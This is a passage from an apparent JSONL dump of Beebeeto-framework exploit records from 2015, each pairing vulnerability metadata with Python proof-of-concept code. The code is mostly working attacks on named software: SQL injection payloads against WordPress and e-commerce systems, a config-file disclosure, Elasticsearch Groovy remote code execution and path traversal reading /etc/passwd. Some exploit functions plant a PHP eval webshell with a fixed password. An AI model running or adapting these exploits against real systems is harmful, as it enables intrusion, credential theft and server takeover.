//\u6839\u76ee\u5f55\u4e0b\u5176\u4ed6\u6587\u4ef6\u90fd\u505a\u4e86\u5f88\u597d\u7684\u8fc7\u6ee4\uff0c\r\n\u5bf9\u6570\u5b57\u578b\u53d8\u91cf\u51e0\u4e4e\u90fd\u7528\u4e86intval()\u505a\u9650\u5236\uff0c\u552f\u72ec\u6f0f\u4e86\u8fd9\u4e2a\u6587\u4ef6\uff0c\u5c45\u7136\u53ea\u662f\u7528\u4e86trim()\u53bb\u9664\u5934\u5c3e\u7a7a\u683c\u3002\r\n$ad = $db->getone(\"SELECT * FROM \".table('ad').\" WHERE ad_id =\".$ad_id); //\u76f4\u63a5\u4ee3\u5165\u67e5\u8be2\u3002", "app_name": "Other", "id": "poc-2015-0059", "layer4_protocol": null} +{"create_date": "2015-03-11 10:50:30", "name": "WordPress Calculated Fields Form 1.0.10 SQL Injection POC", "level": "\u4e2d\u5371", "batchable": 0, "author": "Ca2fux1n", "rank": 2, "port": null, "vul_type": "SQL\u6ce8\u5165", "tag": "WordPress SQL\u6ce8\u5165\u6f0f\u6d1e,Calculated Fields Form,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport urllib2\r\nimport time\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0057',\r\n 'name': 'WordPress Calculated Fields Form 1.0.10 SQL Injection POC',\r\n 'author': 'ca2fux1n',\r\n 'create_date': '2015-03-06',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'WordPress',\r\n 'vul_version': ['1.0.10'],\r\n 'type': 'SQL Injection',\r\n 'tag': ['WordPress SQL\u6ce8\u5165\u6f0f\u6d1e', 'Calculated Fields Form', 'php'],\r\n 'desc': '''\r\n There are sql injection vulnerabilities in Calculated Fields Form Plugin\r\n which could allow the attacker to execute sql queries into database\r\n ''',\r\n 'references': ['http://www.exploit-db.com/exploits/36230/',\r\n ],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n verify_url = args['options']['target']\r\n payloads = {'/wp-admin/options-general.php?page=cp_calculated_fields_form&u=2 and sleep(5)&name=InsertText',\r\n '/wp-admin/options-general.php?page=cp_calculated_fields_form&c=21 and sleep(5)',\r\n '/wp-admin/options-general.php?page=cp_calculated_fields_form&d=3 and sleep(5)'\r\n }\r\n for payload in payloads:\r\n verify_url += payload\r\n start_time = time.time()\r\n req = urllib2.Request(verify_url)\r\n res_content = urllib2.urlopen(req).read()\r\n if args['options']['verbose']:\r\n print '[*]Request URL ' + verify_url\r\n if time.time() - start_time > 5:\r\n args['options']['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n break\r\n return args\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "There are sql injection vulnerabilities in Calculated Fields Form Plugin\r\nwhich could allow the attacker to execute sql queries into database", "app_name": "WordPress", "id": "poc-2015-0057", "layer4_protocol": null} +{"create_date": "2015-03-09 21:41:25", "name": "MvMmall \u7f51\u5e97\u5546\u57ce\u7cfb\u7edf /search.php SQL\u6ce8\u5165\u6f0f\u6d1e POC", "level": "\u4e2d\u5371", "batchable": 1, "author": "foundu", "rank": 3, "port": null, "vul_type": "SQL\u6ce8\u5165", "tag": "MvMmall\u6f0f\u6d1e,SQL\u6ce8\u5165\u6f0f\u6d1e,/search.php,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0056',\r\n 'name': 'MvMmall \u7f51\u5e97\u5546\u57ce\u7cfb\u7edf /search.php SQL\u6ce8\u5165\u6f0f\u6d1e POC',\r\n 'author': 'foundu',\r\n 'create_date': '2015-03-09',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'MvMmall',\r\n 'vul_version': ['*'],\r\n 'type': 'SQL Injection',\r\n 'tag': ['MvMmall\u6f0f\u6d1e', 'SQL\u6ce8\u5165\u6f0f\u6d1e', '/search.php', 'php'],\r\n 'desc': '''\r\n mvmmall\u7f51\u5e97\u5546\u57ce\u7cfb\u7edf\u6700\u65b0\u6ce8\u51650day\u95ee\u9898\u51fa\u5728\u641c\u7d22search.php\u8fd9\u4e2a\u6587\u4ef6\u4e0a\u3002\r\n ''',\r\n 'references': ['http://www.wooyun.org/bugs/wooyun-2011-01732',\r\n ],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n payload = (\"/search.php?tag_ids[goods_id]=uid))%20and(select%201%20from\"\r\n \"(select%20count(*),concat((select%20(select%20md5(12345))%20\"\r\n \"from%20information_schema.tables%20limit%200,1),floor(rand(0)\"\r\n \"*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20\"\r\n \"and%201=1%23\")\r\n verify_url = args['options']['target'] + payload\r\n req = urllib2.Request(verify_url)\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n content = urllib2.urlopen(req).read()\r\n if '827ccb0eea8a706c4c34a16891f84e7b' in content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "mvmmall\u7f51\u5e97\u5546\u57ce\u7cfb\u7edf\u6700\u65b0\u6ce8\u51650day\u95ee\u9898\u51fa\u5728\u641c\u7d22search.php\u8fd9\u4e2a\u6587\u4ef6\u4e0a\u3002", "app_name": "MvMmall", "id": "poc-2015-0056", "layer4_protocol": null} +{"create_date": "2015-03-09 14:17:52", "name": "\u5e1d\u53cbP2P\u501f\u8d37\u7cfb\u7edf v3.0 /index.php?plugins \u4fe1\u606f\u6cc4\u9732\u6f0f\u6d1e POC", "level": "\u4e2d\u5371", "batchable": 1, "author": "beebeeto", "rank": 3, "port": null, "vul_type": "\u4fe1\u606f\u6cc4\u6f0f", "tag": "\u5e1d\u53cbP2P\u501f\u8d37\u7cfb\u7edf\u6f0f\u6d1e,\u654f\u611f\u4fe1\u606f\u6cc4\u6f0f,/index.php?plugins,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0055',\r\n 'name': '\u5e1d\u53cbP2P\u501f\u8d37\u7cfb\u7edf v3.0 /index.php?plugins \u4fe1\u606f\u6cc4\u9732\u6f0f\u6d1e POC',\r\n 'author': 'xiangshou',\r\n 'create_date': '2015-03-08',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': '\u5e1d\u53cbP2P\u501f\u8d37\u7cfb\u7edf',\r\n 'vul_version': ['3.0'],\r\n 'type': 'Information Disclosure',\r\n 'tag': ['\u5e1d\u53cbP2P\u501f\u8d37\u7cfb\u7edf\u6f0f\u6d1e', '\u654f\u611f\u4fe1\u606f\u6cc4\u6f0f', '/index.php?plugins', 'php'],\r\n 'desc': '\u6f0f\u6d1e\u6587\u4ef6\uff1a/index.php',\r\n 'references': ['http://wooyun.org/bugs/wooyun-2010-033114',\r\n ],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n payload = '/index.php?plugins&q=imgurl&url=QGltZ3VybEAvY29yZS9jb21tb24uaW5jLnBocA=='\r\n verify_url = args['options']['target'] + payload\r\n req = urllib2.Request(verify_url)\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n content = urllib2.urlopen(req).read()\r\n if 'common.inc.php' in content and '$db_config' in content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url']= verify_url\r\n return args\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "\u6f0f\u6d1e\u6587\u4ef6\uff1a/index.php", "app_name": "\u53a6\u95e8\u5e1d\u7f51\u4fe1\u606f\u79d1\u6280\u6709\u9650\u516c\u53f8", "id": "poc-2015-0055", "layer4_protocol": null} +{"create_date": "2015-03-08 09:54:54", "name": "\u53f0\u5dde\u5e02\u6781\u901f\u7f51\u7edcCMS /data/log/passlog.php \u4efb\u610f\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e POC & Exploit", "level": "\u9ad8\u5371", "batchable": 1, "author": "1024", "rank": 3, "port": null, "vul_type": "\u4ee3\u7801\u6267\u884c", "tag": "\u53f0\u5dde\u5e02\u6781\u901f\u7f51\u7edcCMS\u6f0f\u6d1e,\u4efb\u610f\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e,/data/log/passlog.php,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0054',\r\n 'name': '\u53f0\u5dde\u5e02\u6781\u901f\u7f51\u7edcCMS /data/log/passlog.php \u4efb\u610f\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e POC & Exploit',\r\n 'author': '1024',\r\n 'create_date': '2015-03-08',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': '\u53f0\u5dde\u5e02\u6781\u901f\u7f51\u7edcCMS',\r\n 'vul_version': ['*'],\r\n 'type': 'Command Execution',\r\n 'tag': ['\u53f0\u5dde\u5e02\u6781\u901f\u7f51\u7edcCMS\u6f0f\u6d1e', '\u4efb\u610f\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e', '/data/log/passlog.php', 'php'],\r\n 'desc': '\u5382\u5546\uff1ahttp://www.90576.com/ \u53f0\u5dde\u5e02\u6781\u901f\u7f51\u7edc\u6709\u9650\u516c\u53f8',\r\n 'references': ['http://www.wooyun.org/bugs/wooyun-2014-085633',\r\n ],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n url = args['options']['target']\r\n # del passlog\r\n del_url = '%s/picup.php?action=del&pic=../data/log/passlog.php' % url\r\n requests.get(del_url)\r\n if args['options']['verbose']:\r\n print '[*] Request DEL_URL: ' + del_url\r\n # submit code\r\n login_url = '%s/login.php?action=login&lonadmin=1' % url\r\n login_data = {'loginuser': '','loginpass':'0'}\r\n if args['options']['verbose']:\r\n print '[*] Submit code: ' + login_url\r\n print '[*] Code content: ' + login_data['loginuser']\r\n requests.post(login_url, data=login_data)\r\n # return page\r\n verify_url = '%s/data/log/passlog.php' % url\r\n content = requests.get(verify_url).content\r\n if 'cfcd208495d565ef66e7dff9f98764da' in content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n\r\n @classmethod\r\n def exploit(cls, args):\r\n url = args['options']['target']\r\n # del passlog\r\n del_url = '%s/picup.php?action=del&pic=../data/log/passlog.php' % url\r\n requests.get(del_url)\r\n if args['options']['verbose']:\r\n print '[*] Request DEL_URL: ' + del_url\r\n # submit code\r\n login_url = '%s/login.php?action=login&lonadmin=1' % url\r\n login_data = {'loginuser': '','loginpass':'0'}\r\n if args['options']['verbose']:\r\n print '[*] Submit code: ' + login_url\r\n print '[*] Code content: ' + login_data['loginuser']\r\n requests.post(login_url, data=login_data)\r\n # return page\r\n webshell = '%s/data/log/passlog.php' % url\r\n content = requests.get(webshell).content\r\n if 'cfcd208495d565ef66e7dff9f98764da' in content:\r\n args['success'] = True\r\n args['poc_ret']['webshell'] = webshell\r\n args['poc_ret']['password'] = 'bb2'\r\n return args\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "\u5382\u5546\uff1ahttp://www.90576.com/ \u53f0\u5dde\u5e02\u6781\u901f\u7f51\u7edc\u6709\u9650\u516c\u53f8", "app_name": "Other", "id": "poc-2015-0054", "layer4_protocol": null} +{"create_date": "2015-03-07 23:20:06", "name": "\u53f0\u5dde\u5e02\u6781\u901f\u7f51\u7edcCMS /index.php \u4efb\u610f\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e POC & Exploit", "level": "\u9ad8\u5371", "batchable": 1, "author": "1024", "rank": 3, "port": null, "vul_type": "\u4ee3\u7801\u6267\u884c", "tag": "\u53f0\u5dde\u5e02\u6781\u901f\u7f51\u7edcCMS\u6f0f\u6d1e,\u4efb\u610f\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e,/index.php,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0053',\r\n 'name': '\u53f0\u5dde\u5e02\u6781\u901f\u7f51\u7edcCMS /index.php \u4efb\u610f\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e POC & Exploit',\r\n 'author': '1024',\r\n 'create_date': '2015-03-08',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': '\u53f0\u5dde\u5e02\u6781\u901f\u7f51\u7edcCMS',\r\n 'vul_version': ['*'],\r\n 'type': 'Command Execution',\r\n 'tag': ['\u53f0\u5dde\u5e02\u6781\u901f\u7f51\u7edcCMS\u6f0f\u6d1e', '\u4efb\u610f\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e', '/index.php', 'php'],\r\n 'desc': '\u5382\u5546\uff1ahttp://www.90576.com/ \u53f0\u5dde\u5e02\u6781\u901f\u7f51\u7edc\u6709\u9650\u516c\u53f8',\r\n 'references': ['http://www.wooyun.org/bugs/wooyun-2014-083077',\r\n ],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n payload = '/index.php?col=13&mod=web&q=%24{%40phpinfo()}'\r\n verify_url = args['options']['target'] + payload\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n content = urllib2.urlopen(verify_url).read()\r\n if 'phpinfo()' in content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n @classmethod\r\n def exploit(cls, args):\r\n payload = '/index.php?col=13&mod=web&q=%24{%40eval($_POST[bb2])}%24{%40print(md5(123))}'\r\n verify_url = args['options']['target'] + payload\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n content = urllib2.urlopen(verify_url).read()\r\n if '202cb962ac59075b964b07152d234b70' in content:\r\n args['success'] = True\r\n args['poc_ret']['webshell'] = verify_url\r\n args['poc_ret']['password'] = 'bb2'\r\n return args\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "\u5382\u5546\uff1ahttp://www.90576.com/ \u53f0\u5dde\u5e02\u6781\u901f\u7f51\u7edc\u6709\u9650\u516c\u53f8", "app_name": "Other", "id": "poc-2015-0053", "layer4_protocol": null} +{"create_date": "2015-03-06 11:03:08", "name": "\u6700\u571f\u56e2\u8d2d /ajax/coupon.php SQL\u6ce8\u5165\u6f0f\u6d1e POC", "level": "\u4e2d\u5371", "batchable": 1, "author": "beebeeto", "rank": 3, "port": null, "vul_type": "SQL\u6ce8\u5165", "tag": "\u6700\u571f\u56e2\u8d2d\u6f0f\u6d1e,SQL\u6ce8\u5165\u6f0f\u6d1e,/ajax/coupon.php,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0051',\r\n 'name': '\u6700\u571f\u56e2\u8d2d /ajax/coupon.php SQL\u6ce8\u5165\u6f0f\u6d1e POC',\r\n 'author': 'xiangshou',\r\n 'create_date': '2015-03-06',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': '\u6700\u571f\u56e2\u8d2d',\r\n 'vul_version': ['*'],\r\n 'type': 'SQL Injection',\r\n 'tag': ['\u6700\u571f\u56e2\u8d2d\u6f0f\u6d1e', 'SQL\u6ce8\u5165\u6f0f\u6d1e', '/ajax/coupon.php', 'php'],\r\n 'desc': 'N/A',\r\n 'references': [\r\n 'http://wooyun.org/bugs/wooyun-2014-075525',\r\n ],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n payload = (\"/ajax/coupon.php?action=consume&secret=8&id=2%27)/**/and/**/1=2/\"\r\n \"**/union/**/select/**/1,2,0,4,5,6,concat(0x31,0x3a,username,0x3a,\"\r\n \"password,0x3a,email,md5(233)),8,9,10,11,9999999999,13,14,15,16/**/from/\"\r\n \"**/user/**/where/**/manager=0x59/**/limit/**/0,1%23\")\r\n verify_url = args['options']['target'] + payload\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n req = urllib2.Request(verify_url)\r\n content = urllib2.urlopen(req).read()\r\n if 'e165421110ba03099a1c0393373c5b43' in content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "N/A", "app_name": "\u6700\u571f\u56e2\u8d2d", "id": "poc-2015-0051", "layer4_protocol": null} +{"create_date": "2015-03-05 12:59:13", "name": "ElasticSearch Groovy\u811a\u672c\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff08CVE-2015-1427\uff09POC", "level": "\u9ad8\u5371", "batchable": 1, "author": "\u96f7\u950b", "rank": 5, "port": null, "vul_type": "\u547d\u4ee4\u6267\u884c", "tag": "Elasticsearch\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e,Elasticsearch,JAVA,CVE-2015-1427", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport re\r\nimport json\r\nimport urllib\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0048',\r\n 'name': 'ElasticSearch Groovy\u811a\u672c\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff08CVE-2015-1427\uff09POC',\r\n 'author': '\u96f7\u950b',\r\n 'create_date': '2015-03-04',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [9200],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Elasticsearch',\r\n 'vul_version': ['*'],\r\n 'type': 'Code Execution',\r\n 'tag': ['Elasticsearch\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e', 'Elasticsearch', 'JAVA', 'CVE-2015-1427'],\r\n 'desc': '''\r\n ElasticSearch\u662f\u4e00\u4e2aJAVA\u5f00\u53d1\u7684\u641c\u7d22\u5206\u6790\u5f15\u64ce\u30022014\u5e74\uff0c\u66fe\u7ecf\u88ab\u66dd\u51fa\u8fc7\u4e00\u4e2a\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff08CVE-2014-3120\uff09\uff0c\r\n \u6f0f\u6d1e\u51fa\u73b0\u5728\u811a\u672c\u67e5\u8be2\u6a21\u5757\uff0c\u7531\u4e8e\u641c\u7d22\u5f15\u64ce\u652f\u6301\u4f7f\u7528\u811a\u672c\u4ee3\u7801\uff08MVEL\uff09\uff0c\u4f5c\u4e3a\u8868\u8fbe\u5f0f\u8fdb\u884c\u6570\u636e\u64cd\u4f5c\uff0c\r\n \u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7MVEL\u6784\u9020\u6267\u884c\u4efb\u610fjava\u4ee3\u7801\uff0c\u540e\u6765\u811a\u672c\u8bed\u8a00\u5f15\u64ce\u6362\u6210\u4e86Groovy\uff0c\r\n \u5e76\u4e14\u52a0\u5165\u4e86\u6c99\u76d2\u8fdb\u884c\u63a7\u5236\uff0c\u5371\u9669\u7684\u4ee3\u7801\u4f1a\u88ab\u62e6\u622a\uff0c\u7ed3\u679c\u8fd9\u6b21\u7531\u4e8e\u6c99\u76d2\u9650\u5236\u7684\u4e0d\u4e25\u683c\uff0c\u5bfc\u81f4\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002\r\n ''',\r\n 'references': [\r\n 'http://mp.weixin.qq.com/s?__biz=MjM5OTk2MTMxOQ==&mid=202983721&idx=1&sn=bde079dcee38c4c655e920cbcc78c6e8&scene=0',\r\n 'http://zone.wooyun.org/content/18915',\r\n ],\r\n },\r\n }\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n verify_url = args['options']['target'] + '/_search?pretty'\r\n cs = {\r\n 'size':'1',\r\n 'script_fields':\r\n {'iswin':\r\n {'script':\r\n 'java.lang.Math.class.forName(\\\"java.io.BufferedReader\\\").\\\r\n getConstructor(java.io.Reader.class).newInstance(java.lang.\\\r\n Math.class.forName(\\\"java.io.InputStreamReader\\\").getConstructor\\\r\n (java.io.InputStream.class).newInstance(java.lang.Math.class.forName\\\r\n (\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"cat /etc/passwd\\\").getInputStream()))\\\r\n .readLines()','lang':'groovy'\r\n }\r\n }\r\n }\r\n jdata = json.dumps(cs)\r\n req = urllib2.urlopen(verify_url, jdata)\r\n content = req.read()\r\n if 'root:' in content and 'nobody:' in content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n exploit = verify\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "ElasticSearch\u662f\u4e00\u4e2aJAVA\u5f00\u53d1\u7684\u641c\u7d22\u5206\u6790\u5f15\u64ce\u30022014\u5e74\uff0c\u66fe\u7ecf\u88ab\u66dd\u51fa\u8fc7\u4e00\u4e2a\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff08CVE-2014-3120\uff09\uff0c\r\n\u6f0f\u6d1e\u51fa\u73b0\u5728\u811a\u672c\u67e5\u8be2\u6a21\u5757\uff0c\u7531\u4e8e\u641c\u7d22\u5f15\u64ce\u652f\u6301\u4f7f\u7528\u811a\u672c\u4ee3\u7801\uff08MVEL\uff09\uff0c\u4f5c\u4e3a\u8868\u8fbe\u5f0f\u8fdb\u884c\u6570\u636e\u64cd\u4f5c\uff0c\r\n\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7MVEL\u6784\u9020\u6267\u884c\u4efb\u610fjava\u4ee3\u7801\uff0c\u540e\u6765\u811a\u672c\u8bed\u8a00\u5f15\u64ce\u6362\u6210\u4e86Groovy\uff0c\r\n\u5e76\u4e14\u52a0\u5165\u4e86\u6c99\u76d2\u8fdb\u884c\u63a7\u5236\uff0c\u5371\u9669\u7684\u4ee3\u7801\u4f1a\u88ab\u62e6\u622a\uff0c\u7ed3\u679c\u8fd9\u6b21\u7531\u4e8e\u6c99\u76d2\u9650\u5236\u7684\u4e0d\u4e25\u683c\uff0c\u5bfc\u81f4\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002", "app_name": "ElasticSearch", "id": "poc-2015-0048", "layer4_protocol": null} +{"create_date": "2015-03-04 17:42:58", "name": "WebServer\u5904\u7406URL\u4e0d\u5f53\u5bfc\u81f4\u7684\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e POC", "level": "\u9ad8\u5371", "batchable": 1, "author": "tmp", "rank": 4, "port": null, "vul_type": "\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6", "tag": "Django\u6f0f\u6d1e,Tornado\u6f0f\u6d1e,Web.py\u6f0f\u6d1e,python\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0047',\r\n 'name': 'WebServer\u5904\u7406URL\u4e0d\u5f53\u5bfc\u81f4\u7684\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e POC',\r\n 'author': 'tmp',\r\n 'create_date': '2015-03-04',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Other',\r\n 'vul_version': ['*'],\r\n 'type': 'Arbitrary File Read',\r\n 'tag': ['Django\u6f0f\u6d1e', 'Tornado\u6f0f\u6d1e', 'Web.py\u6f0f\u6d1e', 'python\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e'],\r\n 'desc': 'N/A',\r\n 'references': [\r\n 'http://www.lijiejie.com/python-django-directory-traversal/',\r\n 'http://drops.wooyun.org/papers/5040',\r\n ],\r\n },\r\n }\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n payload = '/../../../../../../../../../etc/passwd'\r\n verify_url = args['options']['target'] + payload\r\n if args['options']['verbose']:\r\n print '[*] Request URL: %s' % verify_url\r\n content = requests.get(verify_url).content\r\n if 'root:' in content and 'nobody:' in content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n exploit = verify\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "N/A", "app_name": "Other", "id": "poc-2015-0047", "layer4_protocol": null} +{"create_date": "2015-03-04 10:39:02", "name": "PHPMoAdmin /moadmin.php \u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e (0-Day) POC", "level": "\u9ad8\u5371", "batchable": 1, "author": "foundu", "rank": 5, "port": null, "vul_type": "\u547d\u4ee4\u6267\u884c", 